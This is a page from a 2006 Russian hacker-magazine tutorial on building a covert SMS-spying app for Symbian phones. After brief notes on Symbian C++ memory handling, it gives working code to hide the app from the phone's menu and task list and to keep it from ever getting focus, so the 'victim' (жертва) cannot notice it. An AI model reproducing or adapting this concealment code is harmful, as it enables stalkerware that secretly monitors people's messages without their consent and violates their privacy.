Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #93, СЕНТЯБРЬ 2006 г.

Смс–шпионаж

Тарасов Дмитрий aka Dem@n

Хакер, номер #093, стр. 093-132-2


исключения C++, а введена своя метода, направленная на предотвращение утечек памяти. С этой же целью используются двухфазные конструкторы. Объекты принято создавать так:

CMySessionObserver* observer=new(ELeave) CMySessionObserver;

CleanupStack::PushL(observer);

Обрати внимание, что оператор new перегружен и используется с параметром ELeave, этот механизм позволяет аварийно завершить программу и высвободить системные ресурсы в случае, если оператору new не удалось адресовать необходимую память. После создания объекта указатель помещается на связанный с каждым потоком выполнения CleanupStack. Каркас приложения (application framework) состоит из четырех основных классов - Application, Document, AppUI и Container. Все они

наследуются от системных классов и служат для, соответственно, создания документа приложения, создания UI, обработки событий, перерисовки

приложения и других задач. Советую тебе изучить раздел "Application Framework" в документации.

После компиляции и сборки проекта, приложение можно протестировать в эмуляторе. Думаю, как собрать инсталляционный файл для мобилы, ты разберешься :).

Теперь будем постепенно добиваться поставленной цели и сделаем наше приложение невидимым.

Делаем невидимку

Само собой, вряд ли наша система скрытого наблюдения будет представлять какую-то ценность, если после установки в телефон, жертва увидит его в меню или в Task Meneger. Поэтому сейчас мы немного припрячем нашу программу :). Как ты, скорее всего, уже знаешь, при сборке проекта создается aif-файл (application information file), который содержит информацию о нашей сборке. Для того, чтобы придать программе необходимые свойства, нужно модифицировать структуру AIF_DATA, находящуюся в файле OurMegaAppaif.rss, изменив в ней необходимые поля. Нас интересует поле hidden, которому нужно задать значение KAppIsHidden. Выглядит это примерно так:

RESOURCE AIF_DATA

{

app_uid=0x0871aba4; //уникальный идентификатор приложения

...

hidden = KAppIsHidden; //прячем иконку

}

После этого необходимо переопределить виртуальную функцию UpdateTaskNameL, которая отвечает за отображение приложения в тасклисте. Для этого

добавляем в заголовочный файл документа строку в объявление класса Document:

virtual void UpdateTaskNameL(CApaWindowGroupName* aWgName);

После чего в реализацию класса документа добавляем:

void CXaSMSDocument::UpdateTaskNameL(CApaWindowGroupName* aWgName) // конструкция :: играет роль namespace

{

CAknDocument::UpdateTaskNameL(aWgName); //вызывается системная функция UpdateTaskNameL

aWgName->SetHidden(ETrue); //Прячем приложение из контакт-листа

aWgName->SetSystem(ETrue);

}

После этого в конструктор класса AppUI вписываем следующие строки:

void CXaSMSAppUi::ConstructL()

{

BaseConstructL();

CEikonEnv::Static()->RootWin().EnableReceiptOfFocus(EFalse); //приложение никогда не может получить фокус

CEikonEnv::Static()->RootWin().SetOrdinalPosition(-1000, ECoeWinPriorityNeverAtFront);

...

}

Это необходимо для того, чтобы наше приложение никогда не могло получить фокус, даже если жертва найдет в файловой системе исполняемый

Назад на стр. 093-132-1  Содержание  Вперед на стр. 093-132-3